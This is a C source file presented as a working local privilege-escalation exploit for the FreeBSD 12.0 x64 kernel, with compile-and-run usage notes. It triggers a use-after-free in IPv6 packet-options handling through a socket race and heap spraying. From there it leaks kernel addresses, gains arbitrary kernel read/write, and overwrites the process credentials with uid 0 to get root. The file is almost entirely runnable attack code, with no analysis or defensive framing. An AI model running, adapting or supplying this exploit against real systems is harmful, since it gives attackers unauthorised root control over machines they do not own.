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/* FreeBSD 12.0-RELEASE x64 Kernel Exploit Usage: $ clang -o exploit exploit.c -lpthread $ ./exploit */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stddef.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #define _KERNEL #include <sys/event.h> #undef _KERNEL #define _WANT_FILE #include <sys/file.h> #include <sys/filedesc.h> #include <sys/param.h> #include <sys/proc.h> #include <sys/socket.h> #define _WANT_SOCKET #include <sys/socketvar.h> #include <netinet/in.h> #define _WANT_INPCB #include <netinet/in_pcb.h> #include <netinet/ip6.h> #include <netinet6/ip6_var.h> // #define FBSD12 #define ELF_MAGIC 0x464c457f #define IPV6_2292PKTINFO 19 #define IPV6_2292PKTOPTIONS 25 #define TCLASS_MASTER 0x13370000 #define TCLASS_SPRAY 0x41 #define TCLASS_TAINT 0x42 #define NUM_SPRAY_RACE 0x20 #define NUM_SPRAY 0x100 #define NUM_KQUEUES 0x100 #ifdef FBSD12 #define ALLPROC_OFFSET 0x1df3c38 #else #define ALLPROC_OFFSET 0xf01e40 #endif #define PKTOPTS_PKTINFO_OFFSET (offsetof(struct ip6_pktopts, ip6po_pktinfo)) #define PKTOPTS_RTHDR_OFFSET (offsetof(struct ip6_pktopts, ip6po_rhinfo.ip6po_rhi_rthdr)) #define PKTOPTS_TCLASS_OFFSET (offsetof(struct ip6_pktopts, ip6po_tclass)) #define PROC_LIST_OFFSET (offsetof(struct proc, p_list)) #define PROC_UCRED_OFFSET (offsetof(struct proc, p_ucred)) #define PROC_FD_OFFSET (offsetof(struct proc, p_fd)) #define PROC_PID_OFFSET (offsetof(struct proc, p_pid)) #ifdef FBSD12 #define FILEDESC_FILES_OFFSET (offsetof(struct filedesc, fd_files)) #define FILEDESCENTTBL_OFILES_OFFSET (offsetof(struct fdescenttbl, fdt_ofiles)) #define FILEDESCENTTBL_NFILES_OFFSET (offsetof(struct fdescenttbl, fdt_nfiles)) #define FILEDESCENT_FILE_OFFSET (offsetof(struct filedescent, fde_file)) #define FILE_TYPE_OFFSET (offsetof(struct file, f_type)) #define FILE_DATA_OFFSET (offsetof(struct file, f_data)) #else #define FILEDESC_OFILES_OFFSET (offsetof(struct filedesc, fd_ofiles)) #define FILEDESC_NFILES_OFFSET (offsetof(struct filedesc, fd_nfiles)) #define FILE_TYPE_OFFSET (offsetof(struct file, f_type)) #define FILE_DATA_OFFSET (offsetof(struct file, f_data)) #endif #define KNOTE_FOP_OFFSET (offsetof(struct knote, kn_fop)) #define FILTEROPS_DETACH_OFFSET (offsetof(struct filterops, f_detach)) #define SOCKET_PCB_OFFSET (offsetof(struct socket, so_pcb)) #define INPCB_OUTPUTOPTS_OFFSET (offsetof(struct inpcb, in6p_outputopts)) int kqueue(void); int kevent(int kq, const struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); static uint64_t kernel_base; static uint64_t p_ucred, p_fd; static uint64_t kevent_addr, pktopts_addr; static int triggered = 0; static int kevent_sock, master_sock, overlap_sock, victim_sock; static int spray_sock[NUM_SPRAY]; static int kq[NUM_KQUEUES]; static void hexDump(const void *data, size_t size) { size_t i; for(i = 0; i < size; i++) { printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n'); } printf("\n"); } static int new_socket(void) { return socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); } static void build_tclass_cmsg(char *buf, int val) { struct cmsghdr *cmsg; cmsg = (struct cmsghdr *)buf; cmsg->cmsg_len = CMSG_LEN(sizeof(int)); cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_TCLASS; *(int *)CMSG_DATA(cmsg) = val; } static int build_rthdr_msg(char *buf, int size) { struct ip6_rthdr *rthdr; int len; len = ((size >> 3) - 1) & ~1; size = (len + 1) << 3; memset(buf, 0, size); rthdr = (struct ip6_rthdr *)buf; rthdr->ip6r_nxt = 0; rthdr->ip6r_len = len; rthdr->ip6r_type = IPV6_RTHDR_TYPE_0; rthdr->ip6r_segleft = rthdr->ip6r_len >> 1; return size; } static int get_rthdr(int s, char *buf, socklen_t len) { return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, &len); } static int set_rthdr(int s, char *buf, socklen_t len) { return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len); } static int free_rthdr(int s) { return set_rthdr(s, NULL, 0); } static int get_tclass(int s) { int val; socklen_t len = sizeof(val); getsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, &len); return val; } static int set_tclass(int s, int val) { return setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, sizeof(val)); } static int get_pktinfo(int s, char *buf) { socklen_t len = sizeof(struct in6_pktinfo); return getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, &len); } static int set_pktinfo(int s, char *buf) { return setsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, sizeof(struct in6_pktinfo)); } static int set_pktopts(int s, char *buf, socklen_t len) { return setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, len); } static int free_pktopts(int s) { return set_pktopts(s, NULL, 0); } static uint64_t leak_rthdr_ptr(int s) { char buf[0x100]; get_rthdr(s, buf, sizeof(buf)); return *(uint64_t *)(buf + PKTOPTS_RTHDR_OFFSET); } static uint64_t leak_kmalloc(char *buf, int size) { int rthdr_len = build_rthdr_msg(buf, size); set_rthdr(master_sock, buf, rthdr_len); #ifdef FBSD12 get_rthdr(master_sock, buf, rthdr_len); return *(uint64_t *)(buf + 0x00); #else return leak_rthdr_ptr(overlap_sock); #endif } static void write_to_victim(uint64_t addr) { char buf[sizeof(struct in6_pktinfo)]; *(uint64_t *)(buf + 0x00) = addr; *(uint64_t *)(buf + 0x08) = 0; *(uint32_t *)(buf + 0x10) = 0; set_pktinfo(master_sock, buf); } static int find_victim_sock(void) { char buf[sizeof(struct in6_pktinfo)]; write_to_victim(pktopts_addr + PKTOPTS_PKTINFO_OFFSET); for (int i = 0; i < NUM_SPRAY; i++) { get_pktinfo(spray_sock[i], buf); if (*(uint64_t *)(buf + 0x00) != 0) return i; } return -1; } static uint8_t kread8(uint64_t addr) { char buf[sizeof(struct in6_pktinfo)]; write_to_victim(addr); get_pktinfo(victim_sock, buf); return *(uint8_t *)buf; } static uint16_t kread16(uint64_t addr) { char buf[sizeof(struct in6_pktinfo)]; write_to_victim(addr); get_pktinfo(victim_sock, buf); return *(uint16_t *)buf; } static uint32_t kread32(uint64_t addr) { char buf[sizeof(struct in6_pktinfo)]; write_to_victim(addr); get_pktinfo(victim_sock, buf); return *(uint32_t *)buf; } static uint64_t kread64(uint64_t addr) { char buf[sizeof(struct in6_pktinfo)]; write_to_victim(addr); get_pktinfo(victim_sock, buf); return *(uint64_t *)buf; } static void kread(void *dst, uint64_t src, size_t len) { for (int i = 0; i < len; i++) ((uint8_t *)dst)[i] = kread8(src + i); } static void kwrite64(uint64_t addr, uint64_t val) { int fd = open("/dev/kmem", O_RDWR); if (fd >= 0) { lseek(fd, addr, SEEK_SET); write(fd, &val, sizeof(val)); close(fd); } } static int kwrite(uint64_t addr, void *buf) { write_to_victim(addr); return set_pktinfo(victim_sock, buf); } static uint64_t find_kernel_base(uint64_t addr) { addr &= ~(PAGE_SIZE - 1); while (kread32(addr) != ELF_MAGIC) addr -= PAGE_SIZE; return addr; } static int find_proc_cred_and_fd(pid_t pid) { uint64_t proc = kread64(kernel_base + ALLPROC_OFFSET); while (proc) { if (kread32(proc + PROC_PID_OFFSET) == pid) { p_ucred = kread64(proc + PROC_UCRED_OFFSET); p_fd = kread64(proc + PROC_FD_OFFSET); printf("[+] p_ucred: 0x%lx\n", p_ucred); printf("[+] p_fd: 0x%lx\n", p_fd); return 0; } proc = kread64(proc + PROC_LIST_OFFSET); } return -1; } #ifdef FBSD12 static uint64_t find_socket_data(int s) { uint64_t files, ofiles, fp; int nfiles; short type; files = kread64(p_fd + FILEDESC_FILES_OFFSET); if (!files) return 0; ofiles = files + FILEDESCENTTBL_OFILES_OFFSET; nfiles = kread32(files + FILEDESCENTTBL_NFILES_OFFSET); if (s < 0 || s >= nfiles) return 0; fp = kread64(ofiles + s * sizeof(struct filedescent) + FILEDESCENT_FILE_OFFSET); if (!fp) return 0; type = kread16(fp + FILE_TYPE_OFFSET); if (type != DTYPE_SOCKET) return 0; return kread64(fp + FILE_DATA_OFFSET); } #else static uint64_t find_socket_data(int s) { uint64_t ofiles, fp; int nfiles; short type; ofiles = kread64(p_fd + FILEDESC_OFILES_OFFSET); if (!ofiles) return 0; nfiles = kread32(p_fd + FILEDESC_NFILES_OFFSET); if (s < 0 || s >= nfiles) return 0; fp = kread64(ofiles + s * sizeof(struct file *)); if (!fp) return 0; type = kread16(fp + FILE_TYPE_OFFSET); if (type != DTYPE_SOCKET) return 0; return kread64(fp + FILE_DATA_OFFSET); } #endif static uint64_t find_socket_pcb(int s) { uint64_t f_data; f_data = find_socket_data(s); if (!f_data) return 0; return kread64(f_data + SOCKET_PCB_OFFSET); } static uint64_t find_socket_pktopts(int s) { uint64_t in6p; in6p = find_socket_pcb(s); if (!in6p) return 0; return kread64(in6p + INPCB_OUTPUTOPTS_OFFSET); } static void cleanup(void) { uint64_t master_pktopts, overlap_pktopts, victim_pktopts; master_pktopts= find_socket_pktopts(master_sock); overlap_pktopts = find_socket_pktopts(overlap_sock); victim_pktopts= find_socket_pktopts(victim_sock); kwrite64(master_pktopts+ PKTOPTS_PKTINFO_OFFSET, 0); kwrite64(overlap_pktopts + PKTOPTS_RTHDR_OFFSET, 0); kwrite64(victim_pktopts+ PKTOPTS_PKTINFO_OFFSET, 0); } static void escalate_privileges(void) { char buf[sizeof(struct in6_pktinfo)]; *(uint32_t *)(buf + 0x00) = 0; // cr_uid *(uint32_t *)(buf + 0x04) = 0; // cr_ruid *(uint32_t *)(buf + 0x08) = 0; // cr_svuid *(uint32_t *)(buf + 0x0c) = 1; // cr_ngroups *(uint32_t *)(buf + 0x10) = 0; // cr_rgid kwrite(p_ucred + 4, buf); } static int find_overlap_sock(void) { set_tclass(master_sock, TCLASS_TAINT); for (int i = 0; i < NUM_SPRAY; i++) { if (get_tclass(spray_sock[i]) == TCLASS_TAINT) return i; } return -1; } static int spray_pktopts(void) { for (int i = 0; i < NUM_SPRAY_RACE; i++) set_tclass(spray_sock[i], TCLASS_SPRAY); if (get_tclass(master_sock) == TCLASS_SPRAY) return 1; for (int i = 0; i < NUM_SPRAY_RACE; i++) free_pktopts(spray_sock[i]); return 0; } static void *use_thread(void *arg) { char buf[CMSG_SPACE(sizeof(int))]; build_tclass_cmsg(buf, 0); while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) { set_pktopts(master_sock, buf, sizeof(buf)); #ifdef FBSD12 usleep(100); #endif } triggered = 1; return NULL; } static void *free_thread(void *arg) { while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) { free_pktopts(master_sock); #ifdef FBSD12 if (spray_pktopts()) break; #endif usleep(100); } triggered = 1; return NULL; } static int trigger_uaf(void) { pthread_t th[2]; pthread_create(&th[0], NULL, use_thread, NULL); pthread_create(&th[1], NULL, free_thread, NULL); while (1) { if (spray_pktopts()) break; #ifndef FBSD12 usleep(100); #endif } triggered = 1; pthread_join(th[0], NULL); pthread_join(th[1], NULL); return find_overlap_sock(); } static int fake_pktopts(uint64_t pktinfo) { char buf[0x100]; int rthdr_len, tclass; // Free master_sock's pktopts free_pktopts(overlap_sock); // Spray rthdr's to refill master_sock's pktopts rthdr_len = build_rthdr_msg(buf, 0x100); for (int i = 0; i < NUM_SPRAY; i++) { *(uint64_t *)(buf + PKTOPTS_PKTINFO_OFFSET) = pktinfo; *(uint32_t *)(buf + PKTOPTS_TCLASS_OFFSET)= TCLASS_MASTER | i; set_rthdr(spray_sock[i], buf, rthdr_len); } tclass = get_tclass(master_sock); // See if pktopts has been refilled correctly if ((tclass & 0xffff0000) != TCLASS_MASTER) { printf("[-] Error could not refill pktopts.\n"); exit(1); } return tclass & 0xffff; } static void leak_kevent_pktopts(void) { char buf[0x800]; struct kevent kv; EV_SET(&kv, kevent_sock, EVFILT_READ, EV_ADD, 0, 5, NULL); // Free pktopts for (int i = 0; i < NUM_SPRAY; i++) free_pktopts(spray_sock[i]); // Leak 0x800 kmalloc addr kevent_addr = leak_kmalloc(buf, 0x800); printf("[+] kevent_addr: 0x%lx\n", kevent_addr); // Free rthdr buffer and spray kevents to occupy this location free_rthdr(master_sock); for (int i = 0; i < NUM_KQUEUES; i++) kevent(kq[i], &kv, 1, 0, 0, 0); // Leak 0x100 kmalloc addr pktopts_addr = leak_kmalloc(buf, 0x100); printf("[+] pktopts_addr: 0x%lx\n", pktopts_addr); // Free rthdr buffer and spray pktopts to occupy this location free_rthdr(master_sock); for (int i = 0; i < NUM_SPRAY; i++) set_tclass(spray_sock[i], 0); } int main(int argc, char *argv[]) { uint64_t knote, kn_fop, f_detach; int idx; printf("[*] Initializing sockets...\n"); kevent_sock = new_socket(); master_sock = new_socket(); for (int i = 0; i < NUM_SPRAY; i++) spray_sock[i] = new_socket(); for (int i = 0; i < NUM_KQUEUES; i++) kq[i] = kqueue(); printf("[*] Triggering UAF...\n"); idx = trigger_uaf(); if (idx == -1) { printf("[-] Error could not find overlap sock.\n"); exit(1); } // master_sock and overlap_sock point to the same pktopts overlap_sock = spray_sock[idx]; spray_sock[idx] = new_socket(); printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx); // Reallocate pktopts for (int i = 0; i < NUM_SPRAY; i++) { free_pktopts(spray_sock[i]); set_tclass(spray_sock[i], 0); } // Fake master pktopts idx = fake_pktopts(0); overlap_sock = spray_sock[idx]; spray_sock[idx] = new_socket(); // use new socket so logic in spraying will be easier printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx); // Leak address of some kevent and pktopts leak_kevent_pktopts(); // Fake master pktopts idx = fake_pktopts(pktopts_addr + PKTOPTS_PKTINFO_OFFSET); overlap_sock = spray_sock[idx]; printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx); idx = find_victim_sock(); if (idx == -1) { printf("[-] Error could not find victim sock.\n"); exit(1); } victim_sock = spray_sock[idx]; printf("[+] Victim socket: %x (%x)\n", victim_sock, idx); printf("[+] Arbitrary R/W achieved.\n"); knote= kread64(kevent_addr + kevent_sock * sizeof(uintptr_t)); kn_fop = kread64(knote + KNOTE_FOP_OFFSET); f_detach = kread64(kn_fop + FILTEROPS_DETACH_OFFSET); printf("[+] knote: 0x%lx\n", knote); printf("[+] kn_fop: 0x%lx\n", kn_fop); printf("[+] f_detach: 0x%lx\n", f_detach); printf("[+] Finding kernel base...\n"); kernel_base = find_kernel_base(f_detach); printf("[+] Kernel base: 0x%lx\n", kernel_base); printf("[+] Finding process cred and fd...\n"); find_proc_cred_and_fd(getpid()); printf("[*] Escalating privileges...\n"); escalate_privileges(); printf("[*] Cleaning up...\n"); cleanup(); printf("[+] Done.\n"); return 0; } |
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